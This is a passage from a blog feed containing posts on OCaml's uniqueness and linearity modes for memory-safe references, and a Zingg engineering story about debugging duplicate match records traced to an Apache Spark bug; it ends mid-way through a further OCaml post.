<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">Unique_ref</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">alloc</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">free</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">get</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="nn">Modes</span><span class="p">.</span><span class="nn">Aliased</span><span class="p">.</span><span class="n">t</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">set</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Assume that we also have an implementation of the module:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nc">Unique_ref</span> <span class="o">:</span> <span class="nc">Unique_ref</span>
</code></pre></div></div>

<p>Consider the following example, which works fine:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">works</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">t</span> <span class="o">=</span> <span class="n">alloc</span> <span class="mi">42</span> <span class="k">in</span> <span class="c">(* Allocate a unique reference *)</span>
  <span class="n">free</span> <span class="n">t</span> <span class="c">(* free it *)</span>
</code></pre></div></div>

<p>Now consider this modified example:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">wat</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">t</span> <span class="o">=</span> <span class="n">alloc</span> <span class="mi">42</span> <span class="k">in</span> <span class="c">(* Allocate a unique reference *)</span>
  <span class="k">let</span> <span class="n">f</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">free</span> <span class="n">t</span> <span class="k">in</span> <span class="c">(* capture free in a closure *)</span>
  <span class="n">f</span> <span class="bp">()</span><span class="p">;</span> <span class="c">(* free it *)</span>
  <span class="n">f</span> <span class="bp">()</span> <span class="c">(* free it again??? *)</span>
</code></pre></div></div>

<p>Observe that <code class="language-plaintext highlighter-rouge">f</code> has captured <code class="language-plaintext highlighter-rouge">t</code> in the closure, and when called frees <code class="language-plaintext highlighter-rouge">t</code>. It
should be clear that calling <code class="language-plaintext highlighter-rouge">f</code> <em>more than once</em> is bad – leads to a
double-free issue! What property do we want of <code class="language-plaintext highlighter-rouge">f</code>? Uniqueness is insufficient;
we have a unique reference to <code class="language-plaintext highlighter-rouge">f</code> in this program, with which we call <code class="language-plaintext highlighter-rouge">f</code> twice.</p>

<p>What we want to enforce is that <code class="language-plaintext highlighter-rouge">f</code> can be called <em>at most once</em>. The compiler
has a <em>linearity</em> mode which captures the idea of how many times a value can be
used. We have two modes in the linearity axis – <code class="language-plaintext highlighter-rouge">once</code>, which stands for
“at most once” and <code class="language-plaintext highlighter-rouge">many</code> (the default one for all values), which allows values
to be used arbitrary number of times.</p>

<p>Whenever a unique value is captured by a closure, the closure gets a <code class="language-plaintext highlighter-rouge">once</code>
mode, which allows the closure to be called at most once. This program rightly
gets rejected by the compiler.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">File</span> <span class="s2">"./unique_ref.ml"</span><span class="o">,</span> <span class="n">line</span> <span class="mi">32</span><span class="o">,</span> <span class="n">characters</span> <span class="mi">2</span><span class="o">-</span><span class="mi">3</span><span class="o">:</span>
<span class="mi">32</span> <span class="o">|</span>   <span class="n">f</span> <span class="bp">()</span> <span class="c">(* free it again??? *)</span>
       <span class="o">^</span>
<span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">value</span> <span class="n">is</span> <span class="n">used</span> <span class="n">here</span><span class="o">,</span>
       <span class="n">but</span> <span class="n">it</span> <span class="n">is</span> <span class="n">defined</span> <span class="k">as</span> <span class="n">once</span> <span class="ow">and</span> <span class="n">has</span> <span class="n">already</span> <span class="n">been</span> <span class="n">used</span><span class="o">:</span>
<span class="nc">File</span> <span class="s2">"./unique_ref.ml"</span><span class="o">,</span> <span class="n">line</span> <span class="mi">31</span><span class="o">,</span> <span class="n">characters</span> <span class="mi">2</span><span class="o">-</span><span class="mi">3</span><span class="o">:</span>
<span class="mi">31</span> <span class="o">|</span>   <span class="n">f</span> <span class="bp">()</span><span class="p">;</span> <span class="c">(* free it *)</span>
       <span class="o">^</span>
</code></pre></div></div>

<h2 id="a-linear-ref">A linear ref</h2>

<p>Now, one might wonder whether the unique reference that we’ve implemented may be
implemented with the linear mode. The answer is yes.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">Linear_ref</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">alloc</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span>
  <span class="k">val</span> <span class="n">free</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">get</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span>
  <span class="k">val</span> <span class="n">set</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span>
<span class="k">end</span>

<span class="k">module</span> <span class="nc">Linear_ref</span> <span class="o">:</span> <span class="nc">Linear_ref</span> <span class="o">=</span> <span class="k">struct</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span> <span class="p">{</span> <span class="k">mutable</span> <span class="n">value</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="p">}</span>
  <span class="k">let</span> <span class="n">alloc</span> <span class="n">x</span> <span class="o">=</span> <span class="p">{</span> <span class="n">value</span> <span class="o">=</span> <span class="n">x</span> <span class="p">}</span>
  <span class="k">let</span> <span class="n">free</span> <span class="n">t</span> <span class="o">=</span> <span class="bp">()</span>
  <span class="k">let</span> <span class="n">get</span> <span class="n">t</span> <span class="o">=</span>
    <span class="n">t</span><span class="o">.</span><span class="n">value</span><span class="o">,</span> <span class="n">t</span>
  <span class="k">let</span> <span class="n">set</span> <span class="n">t</span> <span class="n">x</span> <span class="o">=</span>
    <span class="n">t</span><span class="o">.</span><span class="n">value</span> <span class="o">&lt;-</span> <span class="n">x</span><span class="p">;</span>
    <span class="n">t</span>
<span class="k">end</span>
</code></pre></div></div>

<p>This works as expected:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">open</span> <span class="nc">Linear_ref</span>

<span class="k">let</span> <span class="n">works</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">alloc</span> <span class="mi">42</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">v</span><span class="o">,</span><span class="n">r</span> <span class="o">=</span> <span class="n">get</span> <span class="n">r</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">set</span> <span class="n">r</span> <span class="p">(</span><span class="n">v</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">v</span><span class="o">,</span><span class="n">r</span> <span class="o">=</span> <span class="n">get</span> <span class="n">r</span> <span class="k">in</span>
  <span class="n">print_int</span> <span class="n">v</span><span class="p">;</span>
  <span class="n">free</span> <span class="n">r</span><span class="p">;</span>
  <span class="bp">()</span>

<span class="k">let</span> <span class="n">fails</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">alloc</span> <span class="mi">42</span> <span class="k">in</span>
  <span class="n">free</span> <span class="n">r</span><span class="p">;</span>
  <span class="n">get</span> <span class="n">r</span> <span class="c">(* fails here *)</span>
</code></pre></div></div>

<p>with the error message:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">File</span> <span class="s2">"./linear_ref.ml"</span><span class="o">,</span> <span class="n">line</span> <span class="mi">34</span><span class="o">,</span> <span class="n">characters</span> <span class="mi">6</span><span class="o">-</span><span class="mi">7</span><span class="o">:</span>
<span class="mi">34</span> <span class="o">|</span>   <span class="n">get</span> <span class="n">r</span> <span class="c">(* fails here *)</span>
           <span class="o">^</span>
<span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">value</span> <span class="n">is</span> <span class="n">used</span> <span class="n">here</span><span class="o">,</span>
       <span class="n">but</span> <span class="n">it</span> <span class="n">is</span> <span class="n">defined</span> <span class="k">as</span> <span class="n">once</span> <span class="ow">and</span> <span class="n">has</span> <span class="n">already</span> <span class="n">been</span> <span class="n">used</span><span class="o">:</span>
<span class="nc">File</span> <span class="s2">"./linear_ref.ml"</span><span class="o">,</span> <span class="n">line</span> <span class="mi">33</span><span class="o">,</span> <span class="n">characters</span> <span class="mi">7</span><span class="o">-</span><span class="mi">8</span><span class="o">:</span>
<span class="mi">33</span> <span class="o">|</span>   <span class="n">free</span> <span class="n">r</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="why-both-linearity-and-uniqueness">Why both linearity and uniqueness?</h2>

<p>Given this example, you might be wondering, if the <em>safe</em> reference may be
implemented equivalently using both uniqueness and linearity, why do we need
both? Obviously, there’s something interesting going on where unique values
captured in a closure needs linearity. Does that mean linearity is sufficient?</p>

<p>It turns out that only recently was the relationship between the two formally
studied in the same type system. While linear types and uniqueness types have a
long history of being studied independently, Marshall et al. in their paper,
<a href="https://starsandspira.ls/docs/esop22-draft.pdf">“Linearity and Uniqueness: An Entente
Cordiale”</a>, present the ideas in
the same type system. They provide some key insights.</p>

<p>The first insight is that</p>

<blockquote>
  <p>in a setting where all values must be linear, we can also guarantee that every value is unique, and vice versa! Intuitively, if it is never possible to duplicate a value, then it will never be possible for said value to have multiple references.</p>
</blockquote>

<p>In our <code class="language-plaintext highlighter-rouge">Unique_ref</code> and <code class="language-plaintext highlighter-rouge">Linear_ref</code> every operation that operates on the ref
requires uniqueness or linearity, respectively. Hence, they seem almost
equivalent in expressive power.</p>

<blockquote>
  <p>It is when we also have the ability for unrestricted use (non-linear/non-unique) that differences between linearity and uniqueness begin to arise, as we will soon see.</p>
</blockquote>

<p>In our language, we do have the ability for unrestricted use. That is, in the
linearity axis, <code class="language-plaintext highlighter-rouge">many</code> is the default mode attributed to all the values not
tagged or inferred as <code class="language-plaintext highlighter-rouge">once</code>. Similarly, <code class="language-plaintext highlighter-rouge">aliased</code> is the default mode
attributed to all the values not tagged or inferred as <code class="language-plaintext highlighter-rouge">unique</code>.</p>

<p>The type system has <em>submoding</em>: values may move freely to <em>greater</em> modes
(which typically restrict what can be done with those values) but not to
<em>lesser</em> modes. For example, a <code class="language-plaintext highlighter-rouge">many</code> value may be safely use in a context where
a <code class="language-plaintext highlighter-rouge">once</code> value is expected.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">works</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">set_to_20</span> <span class="p">(</span><span class="n">r</span> <span class="o">@</span> <span class="n">once</span><span class="p">)</span> <span class="o">=</span>
    <span class="n">r</span> <span class="o">:=</span> <span class="mi">20</span>
  <span class="k">in</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">@</span> <span class="n">many</span> <span class="o">=</span> <span class="n">ref</span> <span class="mi">10</span> <span class="k">in</span>
  <span class="n">set_to_20</span> <span class="n">r</span> <span class="c">(* [r @ many] is passed to a function that expects [int ref @ once] *)</span>
</code></pre></div></div>

<p>Similarly, you can use a <code class="language-plaintext highlighter-rouge">unique</code> value in a context where an <code class="language-plaintext highlighter-rouge">aliased</code> value is
expected.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">dup</span> <span class="n">r</span> <span class="o">=</span> <span class="n">r</span><span class="o">,</span><span class="n">r</span>

<span class="k">let</span> <span class="n">works</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Unique_ref</span><span class="p">.</span><span class="n">alloc</span> <span class="mi">42</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">a</span><span class="o">,</span><span class="n">b</span> <span class="o">=</span> <span class="n">dup</span> <span class="n">r</span> <span class="k">in</span>
  <span class="n">a</span><span class="o">,</span><span class="n">b</span>
</code></pre></div></div>

<p>The type of the <code class="language-plaintext highlighter-rouge">works</code> function is <code class="language-plaintext highlighter-rouge">val works : unit -&gt; int Unique_ref.t * int
Unique_ref.t</code>, which crucially lacks the fact that the references are at unique
mode. We can’t call any functions from the <code class="language-plaintext highlighter-rouge">Unique_ref</code> module with these
references, all of which expect a reference with <code class="language-plaintext highlighter-rouge">unique</code> mode.</p>

<h2 id="uniqueness-is-more-appropriate-for-safe-refs">Uniqueness is more appropriate for safe refs</h2>

<p>In our running example of implementing a safe ref, it turns out that uniqueness
is more appropriate. Consider the type signature of <code class="language-plaintext highlighter-rouge">free</code> in <code class="language-plaintext highlighter-rouge">Unique_ref</code>:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="n">free</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
</code></pre></div></div>

<p>The type signature says that there are no other aliases to this reference.
Hence, its memory may be safely deallocated. However, consider the
<code class="language-plaintext highlighter-rouge">Linear_ref.free</code> signature:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="n">free</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">once</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
</code></pre></div></div>

<p>The signature says that this reference must be used at most once. In particular,
just by looking at the signature, we cannot conclude that there are no other
aliases to this reference. But we know that the API is safe since the only way
to create a safe reference is through the <code class="language-plaintext highlighter-rouge">alloc</code> function, which returns a
once-usable reference, and every other operation also expects and returns a
once-usable reference.</p>

<p>The correctness of the linear version depends on reasoning over the <em>whole
API</em>, whereas the unique version can be concluded to be safe just by
looking at the signature of the <code class="language-plaintext highlighter-rouge">free</code> function. This modular reasoning makes
uniqueness more appropriate for our safe reference API.</p>

<h2 id="past-and-the-future">Past and the future</h2>

<p>In a sense, uniqueness and linearity are duals of each other. Uniqueness talks
about the <em>past</em> – whether a value may be aliased in the past. It is okay to
alias a unique value in the future and lose the uniqueness mode. Linearity talks
about the <em>future</em> – whether a value may be used more than once in the future.
You can take any value and ascribe a linear mode to it, restricting its use in
the future. However, there may be other aliases to this value in the past.</p>

<h2 id="conclusions">Conclusions</h2>

<p>The code examples are available
<a href="https://github.com/kayceesrk/code-snippets/tree/master/oxcaml/linearity_june_2025">here</a>.
Section 2.1 of <a href="https://starsandspira.ls/docs/esop22-draft.pdf">Marshall et al.’s
paper</a> is quite readable and
explains the distinction between linearity and uniqueness with some historical
context. I highly recommend it.</p>

<h2 id="acknowledgements">Acknowledgements</h2>

<p>Thanks to <a href="https://richarde.dev/">Richard Eisenberg</a> for the discussions which
spurred this post.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[The Curious Case of the Extra Records! ]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/the-curious-case-of-the-extra-records</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/the-curious-case-of-the-extra-records</guid>
            <pubDate>Sat, 31 May 2025 03:30:04 GMT</pubDate>
            <description><![CDATA[Earlier last month, we started working on a feature we are calling Match Statistics.]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EYxD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EYxD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!EYxD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!EYxD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!EYxD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EYxD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png" width="1024" height="608" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b331d912-b27a-441e-a7c7-164275e59560_1024x608.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:608,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EYxD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!EYxD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!EYxD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!EYxD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Earlier last month, we started working on a feature we are calling Match Statistics. The idea about statistics came from the incredible folks at <a href="https://www.zingg.ai/case-studies/building-a-composable-cdp-using-entity-resolution-at-fortnum-mason">Fortnum And Mason</a>, who are using Zingg as the backbone for Single Customer View. While running Zingg incrementally, the Match Statistics would expose how clusters numbers change as records get inserted and updated into the identity graph. This information about changing clusters would be a good first step to observe the entity resolution pipeline. If the number of clusters change disproportionately to the number of records updated and added, an alert could be triggered.</p><p>As we started thinking about this feature, we realized that the Match Statistics feature could be made even more powerful. Currently the Zingg output consists of the original data along with the Zingg ID and the match probabilities. If we could surface information about the linkages we found in the records within the cluster, we could help users with matching internals and anomalies. When our users are dealing with millions of records, finding the needle in the haystack is critical. Hence, the specification for the feature expanded to additional statistics.</p><p>While building new features, or augmenting existing flows within Zingg, we have to design both the <a href="https://github.com/zinggAI/zingg">Community</a> and <a href="https://www.zingg.ai">Enterprise</a> products, since they share the same code base. The design of any feature on either product has to take into consideration the impact on both products and ensure that they continue to work individually as well as in tandem. And then comes the trickier part. The design has to work well for both <a href="https://www.zingg.ai/product/snowflake/snowflake">Snowflake</a> and <a href="https://www.zingg.ai/product/entity-and-identity-resolution-for-databricks/databricks">Spark</a> deployments. Not just functional. Performance wise as well. The Zingg Enterprise code base is mostly common across Spark and Snowflake. However, since both platforms have very different APIs, query planning, optimisation and execution, we have a lot of ground to cover while building or modifying anything.</p><p>Thats what we thrive at :-)</p><p>Eventually we designed a stats package which would get the record level and cluster level matches from the match process. This package would be responsible for computing the metrics we cared about, and writing them to appropriate locations, or <a href="https://docs.zingg.ai/latest/connectors/pipes">Pipes</a> in Zingg lingo. The main flow would mostly be unaltered, except for invoking the stats package and passing the dataframes around.</p><p>As we started building the core functionality, we started seeing a very strange issue. Within our flow, we do <a href="https://www.zingg.ai/product/features/train">probabilistic matching</a> only on records which do not match <a href="https://www.zingg.ai/product/features/deterministic-matching">deterministically</a>. If two records match deterministically, we do not try to figure out if they match probabilistically as well since that is a waste of computation time.</p><p>Now, something strange started happening. Within the stats package, which was consuming the probabilistic and deterministic structures, we found some records which matched probabilistically as well as deterministically. This threw an error in the statistics computations, as they banked on the record pair to match one way or the other or not match at all. Our deeply crafted logic was breaking.</p><p>However, this part of the flow never changed. All we were doing was computing additional metrics in this package. And the main flow was unaltered. So how could stuff which was working earlier AND which was untouched stop working? What followed was a crazy cycle of runs, tests and validations.</p><p>Our initial thought was that we had made an error in collecting the data. Why not run it in another sandbox? Umm, the same result. Maybe we had run the flow twice appending to original intermittent data leading to the wrong state? But if that was the case, <strong>every</strong> record pair would appear twice. In our case, only some of the record pairs were being matched probabilistically as well as deterministically. We then sought to understand if there was anything special about those records. We looked at column values, deterministic rules, and the probabilistic match criteria. To our dismay, every run threw up a different set of extra records. But clearly, not data or code issue then.</p><p>Things were surely getting curiouser and curiouser. We were completely off track from the original feature we set out to build :-(</p><p>Next, we turned our focus to the execution environment. When we ran the build on Snowflake, there were no extra records. This was a relief, since it meant it was the Spark side of things that we needed to focus on. Now we ran the workload on Databricks. No issue at all! This was a relief too, since it meant earlier released production code deployed at customer locations was working fine and there was no snake in the grass. </p><p>After two weeks of racking our brains, we were finally making progress :-) Things started moving pretty fast post that. We searched for known issues and discovered a  <a href="https://issues.apache.org/jira/browse/SPARK-45282">issue on Apache Spark</a>. When we changed the Apache Spark version, the issue disappeared. To be absolutely sure, we tested different datasets, different volumes, and all looked good.</p><p>Debugging complex systems is always challenging, but some techniques always help.</p><ol><li><p>Time travel to the last known good state helps understand which change or set of changes could be the cause.</p></li></ol><ol start="2"><li><p>Surgical elimination is super critical in such scenarios. Being able to quickly run different non-overlapping tests can lead to faster results.</p></li></ol><ol start="3"><li><p>Weird behavior - missing records, extra counts etc which alter at different runs are more likely to be caused by the environment than the actual code.</p></li></ol><ol start="4"><li><p>Such non deterministic errors usually stress teams out, since things feel very out of control. For engineers like us who are used to predictable outcomes, such issues can be very frustrating. Having a cool head goes a long way.</p></li></ol><p>After this wild chase, we are now back to building the Match Statistics feature. We hope to ship it soon!</p><p>Just one last thing that I forgot to share. Many wise developers have said this before me, but I must say it again! Plan at least twice the time you anticipate it will take :-)</p><p>If you have a similar story to share, hit reply!   </p><p></p><p></p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!EYxD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb331d912-b27a-441e-a7c7-164275e59560_1024x608.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Uniqueness for Behavioural Types]]></title>
            <link>https://kcsrk.info/ocaml/modes/oxcaml/2025/05/29/uniqueness_and_behavioural_types/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/modes/oxcaml/2025/05/29/uniqueness_and_behavioural_types/</guid>
            <pubDate>Thu, 29 May 2025 17:56:00 GMT</pubDate>
            <description><![CDATA[Jane Street has been developing modal types for OCaml – an extension to the
type system where modes track properties of values, such as their scope, thread
sharing, and aliasing. These modes restrict which operations are permitted on
values, enabling safer and more efficient systems programming. In this post, I
focus on the uniqueness mode, which tracks aliasing, and show how it can
eliminate certain runtime checks.
My intention in this post is not to explain how the different modes work. There
are a number of blog posts and academic papers written about modes. I recommend
the interested reader to have look at them. The following table summarizes the
main properties tracked by modes, the corresponding mode names, and resources
for further reading:
Property
      Modes
      Resources
    
Scope
      Locality
      Blog, Paper
    
Sharing between threads
      Portability, Contention
      Blog, Paper
    
Aliasing
      Uniqueness, Linearity
      Blog, Paper
    
The OCaml compiler extended with modes is developed in the
open, and is used in
production at Jane Street. The repo also has some
documentation
of the extensions.
Be warned that the compiler and the language features are fast evolving. The
code examples presented in the blog and the paper referenced above are likely
not to work. I expect the same for the code examples in this post in the near
future, but that’s what one should expect with these bleeding-edge features.
Behavioural types and runtime overhead
A couple of years ago, I wrote a post on behavioural
types where the
types capture the sequence of operations that may be performed on the values
with those types. The correctness of the system depended on the linear use of
the resources. Since OCaml does not provide support for enforcing linearity
statically, the implementation uses a dynamic check, using a fresh ref cell that
gets consumed every time the type state changes. If we are guaranteed that the
resource is not aliased statically, then there’s no need for the dynamic check.
This is where uniqueness helps.
Uniqueness mode allows the OCaml compiler to statically guarantee that certain
values are not aliased. This enables optimizations and eliminates the need for
some runtime checks, which is particularly valuable in systems programming for
ensuring memory safety and efficient resource management.
Setting up OCaml with modes
An opam repository with the modes extensions and packages supporting modes is
available
here.
Here’s how you can set up the new compiler:

# this will take time
opam switch create 5.2.0+flambda2 --repos with-extensions=git+https://github.com/janestreet/opam-repository.git#with-extensions,default
eval $(opam env --switch 5.2.0+flambda2)


An explicitly memory-managed reference
Suppose you want to implement a mutable reference whose memory is explicitly
managed (not managed by the GC), you may go for the following interface:

module type S = sig
  type 'a t
  val alloc : 'a -> 'a t
  val free : 'a t -> unit (* unsafe *)
  val get : 'a t -> 'a
  val set : 'a t -> 'a -> unit
end


This interface provides an explicit free, which releases the memory associated
with this reference. This opens up the possibility of memory safety bugs such as
use-after-free and double-free. We can use uniqueness modality to get a safe
API. Here’s the interface:

module type S = sig
  type 'a t
  val alloc : 'a -> 'a t @ unique
